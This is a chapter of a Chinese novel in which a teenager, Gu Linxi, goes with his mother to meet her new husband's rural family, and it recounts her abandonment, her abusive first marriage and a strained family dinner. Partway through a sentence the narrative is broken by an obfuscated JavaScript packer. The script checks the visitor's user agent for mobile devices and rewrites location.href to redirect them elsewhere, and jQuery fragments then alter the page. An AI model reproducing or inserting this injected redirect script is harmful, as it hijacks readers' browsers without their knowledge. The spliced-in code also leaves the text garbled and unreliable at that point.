许文辉和妻子是在他入狱的第二年离的婚,在此之前,因为他一心想要跟朋友一起搭伙做生意,两个人的关系就已经开始破裂,但还算能维系,直到许文辉被骗,所有的积蓄被卷走不说,还被判了两年牢,妻子就头也不回地走了。
那个时候许蝉还小,并不知道父母之间发生了什么,以为只是像从前一样,两个人出去打工,过一阵子又会回来。
出狱后,他浑浑噩噩,但为了养家糊口,以及受不了村子里的非议,许文辉没呆多久就收拾东西去省城打工了,后来,也是在那儿认识的王晓南。
许文辉说完那一段话后,饭桌上落针可闻,谁都没再动筷子。
许蝉呆呆的,表情茫然。
身处于这样古怪的氛围中,顾临蹊今天第十次后悔跟着母亲一起来到海城。
对于母亲即将结婚的对象,顾临蹊并不看好。
他不知道为什么王晓南会执着于找一个男人来结婚,明明已经经历过一段失败的婚姻和一段失败的感情。
但她向来强势,做什么决定也从来不会与他商量,一个月前,王晓南告诉他,她恋爱了,已经领了证。
顾临蹊愣在原地,在此之前,他甚至不知道那个男人是谁,王晓南说一不二,通知完他后,第二天才带着顾临蹊去和许文辉一起吃饭,闷热的小饭馆里,顾临蹊第一次见到母亲的结婚对象,看着面前那个笑容憨厚,张罗着点菜的男人,顾临蹊一句话也说不出来。
他担心母亲又被骗,提议跟着两个人一起回到男人的家乡,转了两次车,最后租了个摩托,摇摇晃晃才拐进了村子里,黄泥路,土坯房,一眼望到头的贫瘠。
尤其是当得知男人还坐过牢的时候,他真想立刻拽着王晓南回省城去。
刚到村子里的时候,许文辉家里显然还不知道他会突然回来,门户紧闭,他说,可能是去田里了,最近在农忙。
顾临蹊与母亲站在银杏树下,男人去田里叫正在劳作的父母回家,见他走远,顾临蹊忍不住踢了一下脚边的石子,“妈,你非得和他结婚吗?”
“不然呢?”王晓南额头热得都是汗,扇了扇手风,说:“不和他结婚我过来干什么,证都领了,难不成去离啊。”
“为什么不可以?”顾临蹊着急地说:“离婚什么时候都行,领了个证而已。”
王晓南翻他个白眼,“你当过家家呢,说离就离。”
她简短地说起男人家中的情况,他结过婚,不过前两年离了,有一个女儿,快九岁了,他还坐过两年牢,提起这件事的时候,王晓南很随意,满不在意地说:“经济纠纷而已,不是什么大事,他那是被人坑了,人还是老实的。”
顾临蹊额角突突地跳,不可置信,着急地说:“他说什么就是什么吗?他说是经济纠纷你就信了?万一是杀人呢?你不怕他还在外欠钱吗?妈,我真想不通你图什么,为什么总是自作主张。”
王晓南神情却很平静,将粘在脸颊边汗湿的一点碎发重新拨到耳后,“坐过牢怎么了,你当我傻,杀人就不止做两年牢了,所以肯定不是啊。再说,你爸现在不也在牢里蹲着吗,再差还能比你爸差吗?而且……”
她顿了顿,看向他,“什么叫我自作主张,你才多大,小孩子哪里懂大人之间的事情。”
顾临蹊眼皮子一跳,又来,又是这句话,每次都用这句话来搪塞他的疑问。
他深知母亲就是这样的性子,倔强,说一不二,极重面子,决定好的事情,就是天塌下来都不会更改,顾临蹊劝什么都没用,王晓南根本不会听他的。
王晓南的上一段婚姻很不顺利,她是大着肚子嫁给顾临蹊名义上的父亲的。
而这件事,王晓南没有与儿子讲过,关于王晓南的过去,顾临蹊都是从外公外婆,还有现在在牢里蹲着的“父亲”口中得知。
王晓南是家里最小的女儿,上头有三个哥哥,却有两个都是聋子,她出生的时候顾临蹊的外婆已经四十多了,家里穷,供不起那么多孩子读书,三个哥哥也没怎么上过学,轮到王晓南,能认全自己的名字就已经算不错了。
四年级的时候她考了全镇第二,但那是镇上唯一的小学,总共就两个班,考第二也没什么了不起的,于是王晓南就没再读了。
十六岁那年,王晓南偷了爹妈二百块钱,跟着同乡人去了港城打工。
那时镇上有好些人都南下了,在港城务工一个月抵得上家乡一年的工资,王晓南进了一家制衣厂,一天要站十四个小时,手不能停,厕所只能上三趟,每次不能超过五分钟。
她每个月工资四百块,寄回去一半,剩下的一百要管吃管住管一切,厂里人多,男男女女混在一起,下了班就在宿舍楼下打牌、嗑瓜子、说闲话。
王晓南那时候长得好看,皮肤白,眼睛大,头发又黑又长,在一群灰头土脸的女工里格外扎眼,追她的人不少,但她一个都瞧不上,那些男工,要么跟她一样在流水线上站着,要么在仓库里搬货,下了班就光着膀子喝酒,喝完酒就打架,嘴里永远叼着一根烟,说三句话就要骂一声娘,王晓南觉得他们粗俗,没出息,一辈子也就这样了。
她看上的是厂办的一个文员,那男人也是内陆人,戴一副金丝眼镜,说话慢条斯理的,跟厂里那些粗声大气的男人完全不一样。
后来不知道怎么就好上了,男人会给她写纸条,都是些酸溜溜的诗句,王晓南没读过什么书,但她觉得这些话好听,听着就觉得他跟别的人不一样,再加上独在异乡为异客,颇有种惺惺相惜的感觉。
男人高中毕业,在当时算是学历高的,抄几句古诗文,用来哄她这种没读过书,又向往读书人的小姑娘,一哄一个准。
两个人好了有大半年,王晓南怀孕了。
她当时十九岁,一个人在外头,她把消息告诉男人的那天晚上,却得知那人去年就结婚了,他娶的是厂长的女儿,厂长管着三千多号人,在这片工业区里说一不二。
男人能从一个普通文员做到厂办主任,靠的就是这桩婚事,他需要这段婚姻在港城站稳脚。
他跪在地上,一迭声地说“对不起”,像一台出了故障的录音机,翻来覆去就这三个字。
王晓南没有闹。
不是不想闹,而是她性格天生就倔,她丢不起这个人,她最怕的就是被人笑话。
王晓南把所有的愤怒和委屈都咽了下去,咽得干干净净,连一个嗝都没打。
总之,她辞了厂里的工作,收拾了行李回老家。
那个时候,她肚子已经遮不住了,她妈瞧见她,就抄起门后的扫帚,一边打一边骂,王晓南未婚先孕的消息在村里传开,村里的女人见了她妈就叹气,男人们倒是笑嘻嘻的,看见王晓南时总多看她两眼,眼神里带着一种说不清道不明的东西。
媒人更是不用说了,以前隔三差五就有人上门提亲,现在一个都没有了,直到后来,王晓南的爸妈收了别人八百块,就将大着肚子的女儿嫁了。
那男人姓顾,四十出头,之前娶过两个老婆,都没生出孩子来。他年轻的时候因为打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485748|201993||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
架斗殴蹲过几年牢,出来之后也没个正经工作,靠种地和打零工过日子。
王晓南不愿意,但也不想让人笑话,笑话她被搞大了肚子,没人要,于是就这么嫁了。
只不过那个男人,不喝酒的时候还行,但一喝了酒,就像变了个人似的,眼珠子发红,嗓门大得能把房顶掀翻,看什么都不顺眼。
顾临蹊小的时候,没少被打,谁叫他是别家的种呢,男人自己生不出孩子,只能认别人做儿子,心里面觉得憋屈,所以总要找别的事情发泄出来。
王晓南身上的青紫就没断过,可她要面子,夏天穿长袖,冬天也穿长袖,从来没有在任何人面前露过胳膊。
那个时候顾临蹊年纪小,还不知道个中缘由,后来大了几岁,开始记事了,就能从父亲口中的“杂种”两个字,以及每次和母亲回娘家,邻居的指指点点中,拼凑出一个真相。
他的生父并不是那个姓顾的男人,至于是谁,王晓南从来没和他说过,顾临蹊仅知的一些事情,也是从别人那里听来的。
不过他不在乎,他只认一个妈,父亲是谁并不重要。
王晓南的第一段婚姻持续到顾临蹊十岁的时候戛然而止,这一年,顾临蹊名义上的父亲因为酒后斗殴,打死了人,被判了八年。
王晓南听到判决的时候,脸上什么表情都没有,说不上是开心,还是不开心。
离婚后,娘俩在省城住了下来,王晓南勤快,能说会道,人又长得漂亮,见人说人话,见鬼说鬼话,总能把顾客哄得眉开眼笑,她自己学着进货,白天在饭店刷碗端盘子,晚上在夜市摆地摊,卖头花、发卡、丝袜之类的小东西,一天能赚几十块钱。
后来,顾临蹊也不知道她是怎么和许文辉认识的,只是听她说起,她打工的饭店常有附近工地的工人来吃饭,估计也就是在那里认识的吧。
这个男人同样没什么学历,但有一身力气,能搬砖,扛水泥。
顾临蹊连这个人的名字都没听说过,等知道的时候,已经是他妈跟他说她要结婚了。
她不是不知道许文辉条件不好,离过婚,有个孩子,坐过牢,但她自己呢?她不也是一样,带着一个更大的儿子,所以谁也别瞧不起谁。
她对顾临蹊提起要跟许文辉一起回去见父母的时候,是直接通知,并没有任何要征询他同意的意思。
顾临蹊没有说不许,他只是沉默,沉默了很久,然后问了一句:“妈,你确定吗?”
王晓南说:“确定。”
顾临蹊就没再问了。
所以现在他坐在这张破旧的饭桌前,面前摆着一碟咸菜豆腐和一盘炒南瓜,旁边坐着他妈和他妈即将嫁的男人,对面坐着那个男人黑瘦刻薄的老父亲和一张嘴就停不下来的老母亲,还有那个头发乱糟糟,胳膊肘上结着血痂,穿着一件明显小了两个码的新衣服的小女孩。
她和他不一样,她并不知道自己的爸爸将要结婚了,甚至不知道自己的亲爸妈已经离婚了。
天真、懵懂、对什么都稀奇,王晓南让他带着妹妹去一边玩,好转移她注意力的时候,顾临蹊面无表情地想,有必要吗,反正迟早要知道的。
但他还是走过去,教那孩子怎么用手机。
现在在饭桌上,女孩又问出了那个问题,这次似乎再也没有借口能隐瞒敷衍下去。
顾临蹊头好痛,他百无聊赖地拨弄着碗里的米粒,听到长久的安静之后,女孩茫然地看向自己局促的父亲,呆呆地问道:“什么意思,爸爸,你不和我妈好了吗?”